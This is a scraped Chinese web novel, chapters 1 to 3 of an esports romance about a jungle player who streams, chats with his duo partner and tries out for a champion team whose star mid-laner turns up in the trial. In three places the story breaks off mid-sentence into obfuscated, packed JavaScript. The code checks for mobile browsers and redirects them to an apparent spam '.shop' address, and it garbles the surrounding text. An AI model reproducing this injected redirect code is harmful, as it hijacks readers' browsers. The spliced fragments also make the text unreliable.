《打野发表获奖感言[电竞]》 1. 第 1 章 Donuts:澈哥再来一次吧!这次我玩真正的SUPER CARRY的角色! Carpet:怎么能在死了两位数后依然这么自信呢? Carpet:这是你第四次重复同样的话,结果怎样任何人看到你的KDA都能明白吧。 此时正值新赛季的冲分关键点,各大俱乐部也在陆续收假,他们每天排位遇到的都是熟悉面孔。 对宋澈来说,虽然总打些老熟人有些无聊,但排到的速度的确快了许多。他扫了一眼右下角的聊天软件,点开那个熟悉的灰色头像,最后一条消息还停留在几小时前。 忽然觉得没什么意思,他跟同是职业选手的后辈打了声招呼就退出了队伍。 宋澈的游戏注册ID为Carpet,曾隶属于次级联赛中的BG俱乐部,此前他已经在青训学院里系统学习了两年,上赛季因为打野位单排上了韩服第一而被BG看中正式提上一队。 尽管BG近两年的排名可以说是烂完了,可它远古时期也曾有过S赛亚军的成绩,粉丝们虽然嘴上骂着“BG快掉级去打网吧赛吧,让我再体会一次当冠军粉的快乐好不好”,心里却也总控制不住队伍一顺风就贷款升级的死性。 而初出茅庐却暴打次级联赛一众打野的Carpet选手无疑就是BG粉丝们心中的未来希望。 为什么要说宋澈曾隶属于BG呢? 在出道第一年,他便和队伍以18连胜总冠军的成绩在次级联赛捧杯了,并且成功拿下了今年的直升LPL名额。特立独行的野核打法以及那张在电竞选手之间鹤立鸡群的脸,让媒体直接把他捧成了下一个打野位的“Vale”。 宋澈本人对此嗤之以鼻。 那可是Vale,峡谷公认的第一人,世一中。 “Vale”谢予辞,征战峡谷十年的老牌中单,出道年作为队伍核心拿下S冠。那一年寂寂无名的他,带领着所有相信自己的人一往无前,在绝境处用挑战人类反应极限的华丽操作力挽狂澜,为赛区捧回第一座S赛奖杯。 十年间来来去去的选手们,哪个不是怀着“成为像Vale一样出色的选手”的梦想走进训练室的? 至少宋澈是。 所以他到底凭什么啊?凭粉丝开的香槟吗? 别说,因为出厂设置的信用评分太高,BG超话还真已经快进到选皮肤了。 只可惜粉丝们不知道,BG的投资方赛季初就已经决定,无论今年成绩如何都会撤资卖队。队内那几个老帮菜出于对自谋生路的恐惧,这赛季牟足了劲想打出身价,才换来了战战兢兢的连胜和升级。 转会期还有四天结束。 这套阵容四天后就要散了。 叮咚一声,SC的声音把他飘忽的眼神从屏幕远处拉回来。宋澈赶紧对粉丝们表示感谢,切换到了营业模式。 【希望下赛季Carpet选手也能取得好成绩~请收下礼物和祝愿!】 “非常感谢,但大家务必量力而行,上次夺冠庆祝我已经收到足够多的礼物了。” 【不跟后辈双排了吗?】 “嗯,今天的负重训练强度已经够了。” 【今天的Carpet说话还是一如既往地难听啊。】 宋澈挑眉,弹幕一阵吱哇乱叫,“如果只是因为别人说了实话就被伤害到,那不如多反思反思自己吧。” 【啊啊啊啊啊啊哥再骂我一句!】 【逆天】 【可惜,今天那位辅助没上线,看不到澈哥小号的绝活厄斐琉斯继续俯冲黄金了。】 【可惜在?降压药滞销了是吧】 “......我AD有这么菜吗?”宋澈一时语塞,被弹幕的实话伤害到了,并且反思无果。 【经典定级赛XXXXX】 【别说了,再说Carpet要耻辱下播了。】 【没事他跑不了,这个月还有4天,他剩40个小时没播,不想最后两天睡在直播间就得忍着桀桀桀】 “放心,不下播,但是今天不想打了,来看看S赛回放吧。”宋澈点开视频网站。 【要复盘逮捕战犯吗】 【今年有什么可看的?NPG赢了啊,Vale逆活第三世真神归位,LPL直接大结局了。】 “这是今年最顶级的比赛,你稍微学一下就不至于排位赛烂在白银,来直播间找我哭了。” 宋澈冷酷地开盒眼熟大粉。 【主播素质呢?!】 “好了,我们直接看决赛。” 宋澈点开分P列表,直接选了NPG的ADC视角开始Focus。 弹幕哀声哉道,民怨沸腾。 【我就知道!你还惦记着你那个B射手!】 【大哥,真是神人啊!自从你春季赛排位遇到那个辅助,就开始把把补位选AD,还开个小号专门跟人家双排,问题是也没见你练出来啊。】 【喜欢就去表白好吗,不是纯折磨大家伙呢么?】 【这就不懂了吧,以Carpet的性格必要选一个自己的绝世Carry局,赢下后不经意地说出那句“感觉最近厄斐琉斯胜率比较高”。】 【哈哈哈哈哈哈你太懂了!】 “请各位安静,听不到游戏音效了。”宋澈啪嗒按响鼠标,把SC功能关了。 岂有此理,来他的直播间还敢公屏语音蛐蛐他。 视频里的游戏正在继续,宋澈虽然选的是ADC视角,但出于对打野位置的敏感性,他不自觉地开始留意NPG打野的位置。 NPG的对手是隔壁赛区的强队,选手发挥稳定,教练BP扎实。NPG的射手前期频频出事,有几把到最后都没起来,完全是靠着中单梦幻般的发挥奇迹团取胜。 事后各大自媒体复盘,想吃流量却不敢触风头正盛的中单霉头,因此败局分锅多是从ADC身上开刀。 但此刻宋澈光看第一时间视频,却发觉了ADC对线期烂完不光是他自己的原因。 “NPG这个打野开野路线有问题。”宋澈把进度条拉回了游戏一开局,“双方下路都是极端线权阵容,对面打野这几把都是从上往下刷,而他三把从下往上,两把前期就被视野看到了位置,这样一来下路根本没法压线。” “但NPG选下路线权阵容又偏偏需要他们站住,因此只能硬着头皮往前顶。辅助一个人的眼位根本防不住对面Gank。第四把和第五把Vale明显也意识到了,宁肯不插中路的保护眼,也要帮他们守住下路草。” 语音发不了了,弹幕频率刷得更快。 【这么说澈哥觉得是NPG打野有问题?】 【好狂的主播,敢对今年的冠军打野指指点点,被发切片冲了千万别把我们供出去。】 宋澈摇摇头解释道:“不是有问题,毕竟他们赢了,说明打野牺牲下路拿到的其他东西对NPG有帮助,但没必要让ADC一个人承担所有舆论。” 【ADC吃了波Vale的黑流量而已。】 【11111点了,NPG赢了连淡圈的黑子都有力气上网了。大部分骂ADC的都是Vale黑粉,今年Vale表现太有说服力了,FMVP级别。没办法,只能从他队友身上下手。】 【压力大,但是收益也多啊,NPG选手一赛季的直播打赏都能赶上不少一线选手的年薪了。】 【哎,要不澈哥你也去吃一波吧!听说NPG打野想拉扯队伍争取高薪,结果翻车被NPG踹了。】 【能不能不要一升级就拆队?真服了你们。】 【哈?那让Carpet留在BG跟这帮虾兵蟹将共沉沦吗,长眼睛的谁看不出来他跟他队友完全不是一个水平。】 “嗯?我去NPG吗,不了吧。”宋澈撇了一眼飞快滚动的文字。 【为什么!!!】 “问为什么的那位观众,请问你是NPG的管理层还是拳头高管?我倒要咨询你一下,NPG是现在的联赛第一战队,凭什么要选我这个刚升级的第十八打野打首发。是总部银行金库爆炸了,图我便宜吗?” 【可是现在NPG很有可能会......】 后续弹幕说了什么宋澈没再管,因为他看到自己一直等的人上线了。 -Quietus 状态在线- 宋澈立马私信过去。 ——五小时前—— Carpet:我到赛休季了,两天内会把直播任务完成。 ——刚刚—— Carpet:晚上好。 Quietus:晚上好~恭喜。那直播结束之后可以休息了吗? Carpet:嗯,剩下只要注意保持韩服第一就好。 Quietus:是呢,我看到啦,第一和第八都是你的号吧。 Carpet:......我的意思是,所以要不要双排?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278585|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > Quietus:跟我? Carpet:嗯,来吗? Quietus:我打Rank队友运很差,你跟我一起会碰到很多奇怪的人。 Quietus:会变得不好上分,让可爱的pet无偿加班听起来太可怜了。 Carpet:没关系。 Carpet:不影响。 Carpet:你玩赛娜和悠米也不影响。 Carpet:等等,我要收回这句话。说得像胜负与哥无关一样。并不是我的本意。 Quietus:HH很善良的猫爬架,不错不错。 Carpet:来吧。 Quietus是他这赛季初刚拿到超级号时碰到的高分路人,已经过去了快一年,但宋澈还清楚记得他第一次遇到对方时的情境。他那会刚加入BG不久,每天下播后都要再Rank几把保持手感。 那天他下播后的第一把补位到了AD。当时他唯一会的AD是带惩戒的男枪,为了不坑队友,他选择了当时版本流行的岩雀打下路法核,而他排到的路人辅助很懂事地选择了潘森来配合他。 宋澈一边上线一边在心里默默向自己的潘森辅助道歉,他明白自己对线能力比不过单线选手,选岩雀就是根本不打算在线上多待,只想吃点经济升六级,然后就去对面野区游走抓对方打野。 没想到潘森走位极佳,带着他顺利抢二,对面ADC一露头就给他pin信号进攻,点燃后W上去接一发贯星长枪,直接把ADC的小身板贯没了。 宋澈更没想到的是,他原本计划自己六级再去游走,但三级后他就再也没在下路线听到过潘森的任何音效。 指挥他杀了两次对面下路组后,潘森成功靠K到的两个头购买到一双五速鞋,从此下路只剩一个孤孤单单的岩雀,顽强地面对敌方摩拳擦掌想要报仇的双人组。 于是宋澈也干脆不管下路了。 在队友和敌人的哀嚎中,整个峡谷到处都充斥着岩雀的墙幔,和大荒星陨落地的滚滚烟尘。 在经历了互相团灭、死血反杀、极限逃生、千里救援等等场面后,宋澈这一边终于落后到团战再也打不过对面,而对方也失去了两座门牙塔。 最后趁着对方一换二打大龙的间隙,岩雀潘森开大极限偷家。宋澈的岩雀先倒,他眼睁睁地看着潘森的复活甲被回防的对手打掉,重新起身后金身躲掉控制,闪现平A出手,带走了水晶最后13滴血。 胜利图标弹出来后他软在电竞椅上,平复了很久才让自己心脏不再发出咚咚的巨大声音。 那是他进入职业电竞圈后第一次能轻松地享受游戏的乐趣。 在已经关灯的训练室中,他透过电脑屏幕,重新找回当初第一次踏入这片天地的自己。 于是事后他主动加了潘森好友,称赞对方辅助打得很好,能不能跟他一起双排。 对方欣然答应了。当时宋澈觉得对方或许是认出了他韩服第一的ID想快速上分,但随着一场场意外横生的Rank,宋澈逐渐意识到Quietus高兴的真正原因是那句“你辅助玩得很好”才对。 Quietus:很遗憾,这几天不可以,单位临时布置的事务比较多[魄罗哭哭.jpg] Carpet:啊,那辛苦了,是我打扰了。那过了这几天呢?我会等着的 Quietus:那就等我忙完这几天,先把号打上大师,我们再双排吧,不能太耽误pet的进度~ Carpet:好。 Carpet:我会满怀期待地度过每一天的。 【噫——恶心!】 【我实在有点忍不住了,主播是不是忘了他正在通过游戏内置聊天窗口打情骂俏啊?】 【主播甚至不觉得pet这个昵称太暧昧,我们都是他俩play的一环罢了】 Quietus:别干等着,可以去尝试下新鲜事物~ Carpet:是指什么? Quietus:pet是打野吧,最近我看热搜,NPG缺打野不是闹得沸沸扬扬吗?试训就在这几天,要不要在等我的间隙去试试? 宋澈愣住,这是他今天第二次听到这个消息,弹幕刚刚提起时他根本没有留意。 他掏出手机点开微博,电竞类目热搜第一赫然在目。 ——[续约失败,NPG拒绝拉扯!打野位或将面临开天窗!] 2. 第 2 章 微博底下第三次世界大战已经进入白热化。 为了防搜粉丝们贴心地打上了花名,导致宋澈研究了半天只看出来奶泡糕是指NPG,他没有误入美食频道。 再深的实在抱歉,他承认自己记不住LPL百分之九十以上的选手真名是什么。 为了不为难自己的汉语拼音水平,宋澈选择登录论坛。 论坛用户素质远不如微博,完全没有呵护选手心灵的自觉性,骂人都是连名带姓地点到,从夯到拉一一列队。 他浏览了圈最新资讯,目前最热的帖子半数是世界赛的清算和整活,剩下半数是各队的续约情况和新赛季阵容,NPG相关的几条飘红标题混在里面格外显眼。 【“我...从来没觉得在NPG打野开心过。”“欸?” HOT~】 【当叛忍让母队开天窗,这就是我们最伟大的无阵打野啊 HOT~】 【投票:不配有自己的想法,永远给中单当狗,是你你走吗 HOT~】 他走马观花地捋了一遍,一个都没有点进去看。 直播间的观众们等急了,急呼主播太过分,粉丝苦口婆心的建议全当耳旁风,辅助大人随口提了一嘴立马开始手机冲浪,掌握事件最新动态。 Quietus的头像已经黑了下去,好似百忙之中上号只是为了给宋澈报个平安,让他别担心。 宋澈在已经收不到回复的聊天框中打字。 Carpet:走的好快。 Carpet:明明这么无情,却意外地对我有信心呢。 Carpet:总是这么想着我,谢谢哥。 【谢~谢~哥~】 【好温柔啊澈宝!】 【?呕,又亚撒西了,谁来把Carpet的决赛垃圾话视频链接拿出来让他清醒清醒】 【Carpet圣经三部曲《谢谢对手的肯定,没发现他有什么长处,得等输过以后才有感触吧》《希望现场粉丝们竭尽全力为我们应援,明年LPL的票不好抢》《原来垃圾话要自己想啊?那夺冠采访呢,我没准备怎么办》】 【谁懂Carpet顶着平时直播常见的冷脸放狠话的感受?】 【实锤的精神分裂,有三个人格分别掌管生活、比赛和网恋】 呵。 宋澈的比赛人格蠢蠢欲动。 “我先去吃个饭,你们冷静冷静,过一个小时再播。”打野大人掐断了网线。 【所以你下赛季到底要去哪啊死孩子!!】 妈粉发出最后的控诉。 他手比眼睛快,在想安抚前已经点到了“结束直播”,想了想觉得过两天再说也来得及,便毫无负担地起身下楼拿外卖。 正如宋澈所说,出于种种可说或不可说的理由,他不打算报名参加NPG的试训。 但也确实没想好下赛季去哪发财。 去年不是Vale的合同年,选手们比较倾向于签短约,赛区内选手流动较大。赛季末带队升级后,一级联赛五六只队伍都向宋澈抛来了橄榄枝,但其中他看好的两只有季后赛实力的战队都无法给到他最想要的条件——保证下赛季首发位置。 BG的基地就是个网吧改造的小作坊,最近城市在整顿市容市貌,快递和外卖不让放门口,宋澈只能溜达着往外走,到马路对面的隐蔽墙角拿。 十一月的寒风吹得人骨头疼。 他为图省事没穿外套,提起外卖后三步并做两步往回赶。走到一半,手机里响起重要信息的特殊提示音。 他强忍着手冷掏出来看,是一条工作邮箱的新邮件。 【尊敬的[Carpet宋澈]选手: 您好! NPG电竞俱乐部作为深耕全球电竞领域的队伍,始终以冲击各大赛事最高荣誉为核心目标,已在多个顶级赛事中斩获桂冠。 近期,我们关注到您在打野位置上的卓越表现,与俱乐部对核心选手的选拔标准高度契合。我们正式向您发出试训邀请,诚挚邀请您加入NPG电竞俱乐部新赛季打野位试训。 若您接受本次邀请,烦请通过以下方式与我们联系确认。 期待您的到来。 NPG电竞俱乐部】 宋澈霎时如坠冰窟。 “别担心,游戏里我会时刻看着你,尽力配合你,把赢下每一次胜利的方法全部教给你。” 耳边又响起熟悉的声音,一下下凿着太阳穴,呼吸和心跳随着翻涌的回忆加快,另一只手上拎着的纸袋不知不觉的被抓得皱皱巴巴。 他不知道自己站了多长时间,走进楼时保温袋里的参鸡汤已经凉透了。 鬼使神差地,宋澈回复了那条邮件。 【Carpet直播间 公告:明天去试训,直播暂停一次。】 NPG的大楼一年前刚请来设计师完成外部装潢,即使坐落在寸土寸金的市中心也丝毫不显突兀。 门口地上还散落着没清理干净的亮片和花瓣,旁边则摆了庆贺夺冠的立牌,上面的五位选手在万众喝彩下高高捧起奖杯。 宋澈看了他们的每一场比赛,一直看到FMVP发表获奖感言。 镜头前的青年微微喘息,额发被汗水浸湿,总时长将近180分钟的BO5对一位二十七岁的选手而言是巨大的生理考验。他沉默了几秒,仿佛在平复汹涌的心绪,然后才凑近话筒,声音清晰地透过屏幕和音响传来: “谢谢所有没有放弃,始终支持着我们的粉丝们。多亏有大家漫长的等待与信任,NPG才能拿到这个冠军。” “或许世界上有很多事尽管竭尽全力,结果也不尽如人意。但我们想向大家证明,不放弃自己的信念,一路走下去,总能改变什么的。这一冠NPG希望把它献给在生活中努力至今的每个人。” “我知道,大家一定非常非常辛苦了。好好休息吧,不论明天要面对怎样的未来,至少今晚,希望大家能在美梦中入眠。” 山呼海啸的和喝彩声中,他按灭屏幕。 基地漆黑的玻璃大门如实照映出宋澈的身影。 他推门步入。 我已经选择成为一名职业选手了,我要去做最好的那个。 报上名字后,宋澈独自一人跟着NPG的工作人员走进楼上的准备室里间,这是一个模拟传统比赛玻璃房的屋子,内外间隔了一扇巨大的透明玻璃。里面很宽敞,设备一应俱全。 staff姐姐专业地领着他调试好外设,创建了一把自定义,迅速切入正题,“抱歉Carpet选手,还得请您稍等一下。第一轮试训的BO3为确保公平是用同一组班底打,我们会马上通知其它九位选手做准备。” “不,是怪我来的比预定时间早了一个小时,添麻烦了。”宋澈微微躬身。 “哪里,NPG非常欣赏愿意在游戏前做好充足准备的选手。”staff姐姐边说边递给他两张纸,“稍后您会作为蓝色方开始第一局游戏,这里分别标注了对面五位选手和您四位队友的英雄池。Carpet选手可以先考虑下想如何展现自己,蓝色全员都会无条件地配合您。” 打野位置的试训常规分为专项技术,战术理解和团队配合,NPG的一轮试训要从BP起同时考察这三部分。当然,针对一些以操作见长的打野,NPG也贴心地给蓝方配备了一位临时教练。 宋澈接过,郑重地应下,“我会仔细考虑的。” 调整了一下耳机的位置,隔音耳罩将外界的杂音尽数过滤,只留下自己平稳的呼吸声。接下来的三个小时,他需要让NPG看到他的价值,不仅仅是操作,更是对局势的判断、对团队的贡献。 不多时,准备室的门被轻轻敲响,一位穿着NPG队服发量稀疏的成年人走了进来。 “Carpet选手,准备得怎么样?”临时教练带着职业性的笑容,“另外几位选手已经就位,正在登录账号,大概五分钟后开始。这场BO3采用全局BP,且第一小局无队内语音。BP阶段你只管考虑自己就好,如果需要协助我会帮你完成。” “准备好了,第一局我想先自己试一试。”宋澈将目光重新投向屏幕,自定义房间里,队友的ID已经一个个亮起。 右下角的游戏聊天框里,临时队友们礼貌地打着招呼。 【NPG Test top】:打野待会多照顾上路哈,前三天的打野我对线期都没见过几次。 【NPG Test ad】:打野,我上午Rank了,今天平A流的手感更好 宋澈简短地回应。 【BG Carpet】:大家好,我会尽力。请各位听从指挥,打好配合。 【NPG Test sup】:专业流水线演员,放心吧 最后一位队友也进入了房间。系统提示音响起,房间主人,也就是担任蓝方临时教练的工作人员,开启了比赛。 “大家,我是今天蓝方的临时教练,负责BP阶段的沟通。Carpet选手打出自己的风格和水平就好。” “根据你之前看的资料,打野有什么初步想法吗?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278586|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们蓝色方可以首抢。” 宋澈说出酝酿很久的一句,“教练,我们可以围绕中野来打。” “中野?你可是这几天里第一个首局不玩野核的选手。”客串教练一怔,随即恍然,“也对,在NPG想上一队总要能打中野联动。” 宋澈沉默。 “NPG不需要野核。” “相信我,相信你自己。” “如果不能转型,你就不适合NPG,也不适合他。” 将繁杂的噪音抛诸脑后,宋澈努力集中于眼下的比赛。 蓝色方最终阵容确定为上单奥恩,打野梦魇,中单发条,下路艾希布隆。这是一套偏中后期发力的团战阵容,前期寒冰提供强度和视野,团战利用梦魇的关灯掩护发条的球进场,配合奥恩打出团控和AOE伤害。 “欢迎来到召唤师峡谷!” 系统声响起,永恒梦魇走出泉水。野区昏暗的视野在眼前展开,在峡谷的另一端未知的对手已经就位。 比赛正式开始。 宋澈开局选择速三路线,刷完上半区河蟹时时间刚好来到3分15秒,这是基础的打野基本功。紧接着依靠视野信息避战,魔腾的利刃挥过锋喙鸟,升六级时间定格在五分四十秒。 刷野之余他的目光冷静地扫过小地图,切换视角观察三路对线情况。 上下路都是劣势,只有一直没发言过的中单位,对线稳健信号及时,即使被塞了当前版本对线坐牢的发条魔灵,面对辛德拉也掌握住了线权。 【NPG Test mid】 这种程度仅仅是Test吗? 辛德拉被磨得受不了,向前压进试图驱赶发条,发条敏锐地退后拉扯,并pin了一下靠下半区的河道草丛。宋澈的梦魇此时正位于中路一墙之隔的上方野区,他立刻捕捉到这个信号,放弃了立刻回城或去反野的打算,悄无声息地钻进草丛。 几乎在他落位的下一秒,对面打野盲僧果然从下方河道露头,试图配合辛德拉的推球发起Gank。 然而发条的提前预警和谨慎站位避过天音波,让这次尝试无功而返。 盲僧暴露位置后选择去刷自家F6,宋澈则卡着视野盲区绕向了对方上野区。既然盲僧在此露面且技能空掉,对方上半野区大概率是放空的。 果然对方石甲虫正在悠然欣赏峡谷风光。宋澈快速清掉的同时,在对方红BUFF草丛点下监视守卫。 整个过程,发条在中路稳稳控住兵线,既没有因为打野在附近而激进前压暴露队内意图,也没有让对方中野有包抄入侵梦魇的机会。 微妙的异样感在宋澈心头悄然浮现,这个发条有点太过合适了。就像每个打野无数次在脑海里模拟过的,最理想的中单队友该有的样子。 这种怪异一直持续到中期团战。 梦魇找到机会率先开战,他开大的瞬间发条E给球,由于梦魇的飞行速度快于发条E的移动轨迹,致命的法球跟着梦魇一起落地。就在法球重回发条身边前短暂延迟的瞬间,跨越半个地图的冲击波释放,将对方双c直接卷入漩涡中。 完美bo时机。 配合梦魇伤害,红色方两个脆皮血条瞬间消失。 只要发条不失误,这可以说是无解的联携。 在职业赛场上这样的操作并不罕见,但问题是试训队友间不能使用语音连麦沟通,这就需要中野双方的默契配合,打野不留余地不怕背锅的信任,以及中单精确细致的操作。 接下来的几波团战梦魇跟发条的配合依然滴水不漏,配合上单和AD的二次进场,对方很快无法招架点了投降,但宋澈却坐立不安。 发条的可怕技能熟练度,妙至毫巅的兵线处理和团战发挥,这真的是一名二队或普通LPL选手能达到的水平吗? 盯着游戏结算页面,宋澈在习惯性地进行脑内复盘,莫名心中一紧,电光火石间他蓦然抬头,隔着透明玻璃猝不及防地印证了隐隐猜测的答案。 他来了。 谢予辞站在临时教练旁边,神色放松地交谈,目光盯着他的方向。 中单比从屏幕里看到的还要瘦,仅剩的那点脸颊肉不见踪影。头发也比夺冠时长些,微微卷曲的柔软发丝搭在一起,偏有一小缕不听话地从耳边翘出来,看着像没怎打理。 两人视线相交,谢予辞微微露出笑容,抬起手腕对他打了个招呼。 宋澈后悔了,那一次入侵不应该让发条来帮靠的。 Vale的发育时间才是峡谷最宝贵的资源。 3. 第 3 章 宋澈浑身僵着,手脚不知该放到哪里。 万幸谢予辞似乎只是来看一眼,没有走进来的意思,跟他打了个招呼便转身出了房间。 直到他的身影彻底消失,宋澈才算微微放松些,重新戴上耳机。 从第二小局开始NPG不再限制队内语音。 “Carpet,你是叫宋澈吧,你好敢啊!”蓝队的AD在语音频道嚎,“上把梦魇节奏太好了,对面可是世界冠军啊,你全程追着Rainstorm的韦鲁斯飞,他都被你杀到超鬼了。” 试训邀请上写的明明是BO3先跟青训和二队打,把人骗来后立马安排首发上,惊世智慧的NPG教练组还是那么爱给人整点小说里才能见到的烂活。 宋澈淡淡问:“所以这是再给我上压力测试?” “那倒也没有啦,均衡教派在发力了。”队友讪讪一笑,“对面是三个世界冠军加两个青训,我们是三个世界冠军加三个青训,大赢特赢。” “对吧,Vale前辈?” 空气安静了一瞬。 三冠中单,NPG Vale。 宋澈没功夫锐评了,他的心悬在半空,等待他开口,听凭发落。 耳机中柔软的声音不急不缓。 “啊,不用管我,Carpet选手把我当成你的踏苔蜥幼苗就好。” 他能想象到中单眯着眼,百无聊赖地卷起鼠标垫一角的样子。 宋澈一时没说话,不过不要紧,没有人会让谢予辞的话掉在地上。 “怎么可能不在意呢!能跟您一起打游戏真的超级幸福呜呜呜咿呀。”蓝队上单突发恶疾,一点都没有刚刚傲然指挥打野多抓上的气焰。 见多识广的大前辈丝毫不受影响,拨乱反正道:“不如先听听Carpet选手来复盘?” 躲不过去了。 在踏入NPG大楼时明明已经做好心理准备了。 宋澈努力让声音平稳些:“上一把除了中路外我很难跟其他线形成配合,上下路要注意打野给出的信号。另外争抢中立资源要强硬,别犹豫,更别轻易把身位让出来。” 他说的言简直白,但都在点,队友有些惊讶:“听说你是次级联赛刚升级上来的?分析得还挺头头是道。” 蓝队辅助开麦:“我们看见你的信号了,但AD没办法为了看个视野烧掉半波线,线上可以配合,你得提前沟通。” “能语音之后这类情况会好很多。”谢予辞补充,“大家也可以借着Carpet选手的光,试着去思考自己的行为会为游戏带来哪些影响,机会难得不是吗。” “Vale前辈......您不打算下一把指挥吗?” 谢予辞毫不犹豫地回答:“今天我们都是配角,Carpet选手才是唯一的主人公。” 宋澈深吸一口气:“下一把,我想玩野核。” BP结束,屏幕光映在宋澈脸上,他锁定豹女时没有半分犹豫。对方Counter位亮起了赵信,一柄寒光凛冽的枪尖直指他而来,意图再明显不过。入侵,绞杀,打乱豹女的节奏,在其成型前结束游戏。 阵容落定,宋澈这方选择上野鳄豹,中路飞机,下路烬加泰坦。一旦野核发育受阻,至少有飞机顶起阵容强度。 “进攻压力很大的阵容。”临时教练饶有兴趣地点评,“上半区必须打开,鳄鱼豹女前期打不出优势就是劣势。Carpet选手,压力在你身上。” 宋澈刚想应下,就听谢予辞说:“还有飞机和烬在。” AD立马二傻子似的表忠心:“没错,相信我吧予辞哥,即使对面是Rainstorm我也能赢!” 宋澈被噎回来,仗着房间里没有别人,短暂地放弃了一瞬间表情管理。 刚刚还是前辈,打了一把游戏就成哥哥了? 此子断不可提上一队。 “明白。”他应了一声,算是对教练的回应,目光扫过小地图。 一级,必须抢占先机。 “我们直接进对面上野区,辅助帮忙看下蓝区。” 如他所料,对方赵信在下半区露头,试图常规开局。NPG上中野三人组大摇大摆反掉红BUFF,谢予辞帮他在F6插眼,赵信的动态已如掌上观纹。 鳄鱼豹女的强势期始于三级。 宋澈清空己方上半区升三后,没有多看一眼河蟹,而是钻进了对方上路三角草丛。兵线正在对方塔前汇聚,鳄鱼身上怒气猩红。 上单的信号同时点亮,标记了塔下仅剩半血多的纳尔。 “别急,等线进去了越。” 宋澈走出草丛,普攻吸引防御塔仇恨的瞬间,致命标枪脱手而出,划破空气直指纳尔扭身的落点。几乎同一时刻,鳄鱼闪现突进,冷酷捕猎将小纳尔咬在原地。 防御塔伤害第二次落下前宋澈切换豹形态,猛扑上去,一套爆发下来纳尔的血条被彻底清空,惨叫倒地。 极限按下刚刚转好的技能二次跳跃,豹女轻盈落回草丛边缘,脱离仇恨。 “First Blood!” 一血提示音清脆响起。从露头到拿下击杀全身而退,整个过程不过三秒,对方上单的TP就此浪费,上路裂痕被打开了。 “Nice。”耳机里传来谢予辞的声音。宋澈抿了抿唇,没说话,操控着豹女回头清理对方野区。 这只是开始。 当赵信好不容易赶到上半区,面对的是空空如也的营地,和地图上豹女带着双BUFF扬长而去的背影。紧接着宋澈卡着赵信去打河蟹的时机,再次绕后上路。纳尔E技能跳走瞬间,宋澈预判闪现豹形态撕咬,配合鳄鱼红怒再次完成击杀。 对方上路彻底崩盘。 峡谷先锋刷新时对方因上路巨大劣势,毫无争夺资本。宋澈轻松收下先锋之眼,直接在上路释放。一血塔告破,鳄鱼解放后,优势从上路开始向整个地图蔓延。 比赛进行到二十分钟,经济差已经拉开到三千。中路遭遇战,对方妖姬与赵信在侧翼野区埋伏,抓住了顶在前面做视野的泰坦。 没办法,蓝方没前排的阵容对硬辅着实不友好。 双方支援迅速,混战瞬间爆发。谢予辞飞机的炸药包划出一道燃烧路径,强行分割战场,豹女在战场边缘游离。 对方妖姬中了几次技能,血量不佳,试图再次隐入阴影。 宋澈没有急于出手,而是走位微微向右前方一个斜侧小跳,无视野躲开了妖姬试探性的幻影锁链。 就是现在! 豹女瞬间切换人形态,一发几乎贴着地形边缘的标枪射出,预判妖姬向后拉扯的走位。标枪穿透混乱的技能光效,精准地命中了那个诡谲的身影。 妖姬倒地。 后续团战零换三,蓝方大获全胜,顺势拿下比赛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278587|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “Victory!” 胜利标识第二次弹出,宋澈轻轻呼出一口气,指尖有些发麻。 结算页面,豹女的数据华丽得刺眼:8/0/6,对位经济差+3875,伤害转化率187% 谢予辞已经退出了游戏,正侧身看着旁边分析师屏幕上的详细数据回放。训练室里响起青训小朋友们兴奋的议论声,这样干脆利落的2:0很是少见。 “英雄玩得很流畅,重要的是脑子清醒,决策果断,知道自己该干什么。”成熟的声音在他身后响起,“虽然才出道一年,但是个成熟的选手了。” 谢予辞转身去看,点头示意,“陈监督。” 陈铎,NPG的功勋成员,今年刚刚被从主教练升为监督。谢予辞十七岁加入NPG,遇到了研究生毕业初入职场的陈铎,两人合作已经有十年了。 西装革履的陈监督询问自己最重视的弟子:“予辞,你是怎么想的,要留下他吗?” 谢予辞考虑了一会,慢条斯理地说:“他的节奏很快,保护边线和看队友位置的意识弱了些,大约跟次级联赛的环境有关,直接提上一队的话或许需要适应。” 陈铎懂了。 谢予辞出道前几年因为低估了自己的影响力,无心之言给别人造成过麻烦,从此事事谨言慎行,再不轻易发表评价。 能说到这个地步,就是想留的意思。 “我看了宋澈的简历,他是专业青训出身,基本功扎实,稍微教教规矩问题不会太大。” 谢予辞摇摇头:“我总觉得还有其它问题没解决,得在春季赛前找机会了解。” “你想干什么?”陈铎监督猜出来这位祖宗的言下之意,“杯赛你想带他上场?那怎么行,你的腰伤每年也就这一个月能稍微养养,实在不放心你让他跟二队一起去就得了。” 